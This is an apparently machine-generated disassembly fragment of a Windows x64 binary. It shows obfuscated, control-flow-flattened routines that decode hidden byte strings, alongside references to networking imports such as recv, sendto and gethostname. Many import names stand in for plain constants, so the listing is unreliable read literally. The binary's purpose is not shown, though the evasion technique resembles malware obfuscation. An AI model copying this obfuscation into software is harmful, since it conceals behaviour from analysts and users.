lea r11d, [rcx + r10]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
movabs rdx, 0x4bdd4730a77cb5d8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073adf
movabs rdx, 0x5bef38f76c3dd9d0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140073a90
movabs rcx, 0x6c012abe30fefdc8
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x140072d72
movabs rcx, 0x7c131c84f5c021c0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0x8c250e4bba8145b8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x140073a09
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140073537
lea rcx, [rdi + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x140073342
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007357a
movabs rdx, 0xae872ab1dc280ca8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
inc rax
cmp r8, rax
jne 0x1400735aa
movabs rdx, 0x8e63472452a5c4b8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140073b1d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400735e8
movabs rcx, 0x7e51555d8de4a0c0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073620
movabs rdx, 0x4e1b80093fa134d8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x140072d72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073342
movabs rdx, 0x2df79c7bb61eece8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x140073a09
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073684
movabs rdx, 0x5cac00aca3c12fc
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073a0c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400736b8
movabs rcx, 0xe5a6dc7d40b9cb0c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
dec rdi
inc rdi
jmp 0x140072d72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400736e7
movabs rdx, 0xd594eab67bf8a714
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140073a90
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073729
movabs rdx, 0xb5710728f2765f24
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400732dc
movabs rdx, 0xa55f15622db53b2c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140073b1d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007379c
movabs rcx, 0x5d0e5563b8501950
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400737ce
movabs rdx, 0x3cea71d62ecdd160
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073b1d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400737fb
movabs rcx, 0x1cc68e48a54b8970
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x140073adf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140073829
movabs rdx, 0xcb49c81e08a6578
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
jmp 0x140073a90
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140073846
movabs rdx, 0xec90b8f457081d88
mov ecx, 0x24
jmp 0x140073a4d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073288
movabs rdx, 0xdc7ec72d9246f990
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140073a09
movabs rdx, 0xbc5ae3a008c4b1a0
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xac8]
sub r11b, al
sub r11b, 0x60
add r11b, r10b
jmp 0x140073a90
movabs rdx, 0xac48f1d944038da8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xac8]
add r11b, dl
add r11b, r10b
jmp 0x140073b1d
movabs rcx, 0xc6a2155c0349c29c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x44
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
movabs rdx, 0xe6c5f8e98ccc0a8c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073b1d
movabs rdx, 0xf6d7eab0518d2e84
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
movabs rcx, 0x6e9dc77164e527c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
jmp 0x140073adf
movabs rdx, 0x270dc0049fd09a6c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0x4731a3922952e25c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073a0c
movabs rdx, 0x6755871fb2d52a4c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
add r11b, dl
movabs rcx, 0xc463dc836b25439c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x44
add cl, r10b
mov byte [rbp + rdi + 0xac8], cl
inc r9
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0x776778e677964e44
mov ecx, reloc.WS2_32.dll_select
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140072d72
movabs rdx, 0x978b5c7401189634
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
movabs rdx, 0xb451eabca6641fa4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7c
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xac8], cl
jmp 0x140073adf
movabs rcx, 0xa79d4e3ac5d9ba2c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140072d72
mov r10, rbx
movabs rdx, 0xc7c131c84f5c021c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa43ff8f5e1a2fbac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xac8], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x9c3700127f4269b0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0xac8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
movabs rcx, 0xe7e51555d8de4a0c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0xac8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140072d72
movabs rdx, 0xd356b1dde3d42814
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140072d70
movabs rcx, 0xe368a3a4a8954c0c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
jmp 0x140072d60
lea rcx, [rbp + 0x15df578]
jmp 0x140073c36
lea rcx, [rbp + 0x17d637c]
jmp 0x140073c36
lea rcx, [rbp + 0xac8]
xor edx, edx
call fcn.14003eb60
mov byte [rbp + 0xaf0], Ordinal_30
mov byte [rbp + 0xaf1], 0xe0
mov byte [rbp + 0xaf2], 0xef
mov byte [rbp + 0xaf3], 0xf9
mov byte [rbp + 0xaf4], 0xe3
mov byte [rbp + 0xaf5], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xaf6], 0x56
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaf7], xmm0
mov qword [rbp + 0xb07], rax
mov dword [rbp + 0xb0f], eax
movabs rsi, 0x85a2521ef8da1efc
movabs r13, 0xae156d40aee9a074
movabs r14, 0x47c1f64e592a2984
movabs r15, 0x2977779d9b06de14
movzx r11d, byte [rsp + 0x50]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0x334166ca3fb066cc
movabs rdx, 0xeb971bccfb56e89c
cmp rbx, 0x23
jae 0x14007484e
movzx r10d, byte [rbp + rbx + 0xaf0]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x140074845
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140073d2c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x2c
jmp 0x140073d72
je 0x1400747b0
inc rax
cmp r8, rax
je 0x140074744
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007470b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400746a9
lea rax, [r9 + 7]
cmp r8, rax
je 0x140074683
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074637
cmp r9, rbx
ja 0x14007483c
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140073da1
lea rdx, [rbx + r14]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073dd0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140074611
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400745fd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400745c6
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007421b
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400741f2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400741c4
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400741ad
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140074176
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007413d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140074119
lea rax, [r9 + 8]
cmp r8, rax
je 0x140073de0
mov r8, rax
lea r9, [rax + 0x41]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140074813
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400747ea
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140073f32
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140073f12
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400740b4
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007405f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140073de0
mov r8, rax
lea r9, [rax + 0x400]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007402a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140074001
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140073fcd
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140073fa7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140073f7c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140073f52
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140073de0
mov r8, rax
lea r9, [rax + 6]
jmp 0x140073de0
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073dd0
lea rdx, [rbx + r15]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d72
movabs rcx, 0x3e0fb272c9514c20
add rcx, rbx
movzx eax, cl
and al, r10b
mov r11d, reloc.WS2_32.dll_recv
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, r10b
jmp 0x14007464d
movabs rcx, 0x85b9fd700daaca50
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
dec rbx
inc rbx
jmp 0x140073cd2
movabs rdx, 0x298f22eeafd78968
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400746c9
movabs rcx, 0x71396debf4310798
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rdx, 0x150e936a965dc6b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074591
movabs rcx, 0x5cb8de67dab744e0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0xaf0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073cd2
movabs rdx, 0x9a22e1a31253e1b4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 4
jb 0x14007452a
movabs rcx, 0x5c8987c5b115ee38
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x10]
jmp 0x14007464d
movabs rdx, 0x3df80721b480a0cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x200
jae 0x14007453a
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140074470
movabs rcx, 0xc2dcfeb806d56528
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x140074083
movabs rcx, 0x5260eb54b929b830
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x140074766
movabs rdx, 0x9a0b3651fd833660
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rcx, 0x3de05bd09faff578
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rdx, 0x858aa6cde40973a8
add rdx, rbx
mov ecx, 0x34
jmp 0x14007468c
movabs rcx, 0x295fcc4c863632c0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140073cd2
movabs rdx, 0xcd34f1cb2862f1d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007464d
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007427d
lea rcx, [rbx + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
lea rax, [r9 + r8]
cmp rax, 5
je 0x14007456b
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140074368
movabs rdx, 0x7b1b0869adab3ba4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x1400740d8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400742bb
movabs rcx, 0x8f83ec9cb2545308
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0xaf0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073cd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400742ed
movabs rdx, 0x47d9a19f6dfad4d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074591
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140074332
movabs rdx, 0x2f56a229a156a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007423a
movabs rdx, 0x5c5a312387749790
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400746cc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007439a
movabs rdx, 0xd745e2eb0b7e7c8c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007464d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400743c9
movabs rdx, 0xebc6726f24f83f44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400746c9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074409
movabs rcx, 0x47f14cf082cb802c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007443b
movabs rdx, 0x4701f33e7201fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074591
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400740d8
movabs rdx, 0x5c71dc749c4542e4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x140074766
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400744ae
movabs rcx, 0x1f07d93964a8a610
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rbx + 0xaf0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073cd2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400744f3
movabs rdx, 0x8fb3433edbf5a9b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140074083
movabs rcx, 0x4808f841979c2b80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x140073cd2
mov byte [rbp + rbx + 0xaf0], r11b
inc rbx
jmp 0x140073cd2
movabs rdx, 0xb8b462470ee92f20
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xaf0]
add r11b, dl
add r11b, r10b
jmp 0x1400746cc
movabs rcx, 0x14df3cc86cbc7008
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xaf0]
lea r11d, [r10 + rcx]
sub r11b, 0x38
movabs rcx, 0xc2f4aa091ba6107c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x64
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xaf0], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140074766
movabs rcx, 0x14983ad52e4a6e0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rdx, 0x5c4285d272a3ec3c
add rdx, rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14007468c
movabs rdx, 0xa3ecd0cfb6fd6a6c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007464d
lea rcx, [rbx + rdx]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
movabs rdx, 0xa9ef5065fff8eac
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xaf0], cl
inc r9
dec rbx
inc rbx
jmp 0x140073cd2
lea rdx, [rbx + rcx]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140073cd2
movabs rdx, 0xd7168c48e1dd25e4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
add r11b, dl
movabs rcx, 0x66c9cf87bdd2cf94
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xc
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xaf0], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rdx, 0x1ec0d7462636a414
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073cd2
movabs rcx, 0x666b22436a902244
add rcx, rbx
and dil, cl
mov eax, reloc.WS2_32.dll_select
sub al, dil
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movabs rdx, 0x710a1749ca8fb0f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xaf0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xaf0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073cd2
movabs rdx, 0xa4047c20cbce15c
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xaf0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073cd2
movabs rdx, 0x7121c29adf605c44
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073cce
movabs rdx, 0x14f6e819818d1b5c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073cb5
lea rcx, [rbp + 0x177d8e0]
jmp 0x140074855
lea rcx, [rbp + 0xe17954]
jmp 0x140074855
lea rcx, [rbp + 0xaf0]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x14008bdfd
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140225ff0]
lea rcx, [rbp + 0x3c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0xb18], 0x75
mov byte [rbp + 0xb19], 0xaf
mov byte [rbp + 0xb1a], __WSAFDIsSet
mov byte [rbp + 0xb1b], __WSAFDIsSet
mov byte [rbp + 0xb1c], 0xa8
mov byte [rbp + 0xb1d], 0x90
mov byte [rbp + 0xb1e], 0x56
mov byte [rbp + 0xb1f], 0x76
mov byte [rbp + 0xb20], 0xb1
mov byte [rbp + 0xb21], 0xb4
mov byte [rbp + 0xb22], 0x88
mov byte [rbp + 0xb23], 0xb4
mov byte [rbp + 0xb24], 0xb8
mov byte [rbp + 0xb25], reloc.WLDAP32.dll_Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb26], xmm0
mov dword [rbp + 0xb36], eax
mov byte [rbp + 0xb3a], al
movabs rsi, 0x62ccd937fa7ad928
movabs r13, 0xe02222b985d51688
movabs r14, 0xb288dabbaab33bd8
movabs r15, 0xf24495489f090ec8
movzx r10d, byte [rsp + 0x50]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x140075701
movzx ebx, byte [rbp + r11 + 0xb18]
mov rdx, rbx
nop dword [rax]
cmp r8, r11
ja 0x1400756f8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400749ac
lea rcx, [r11 + r13]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
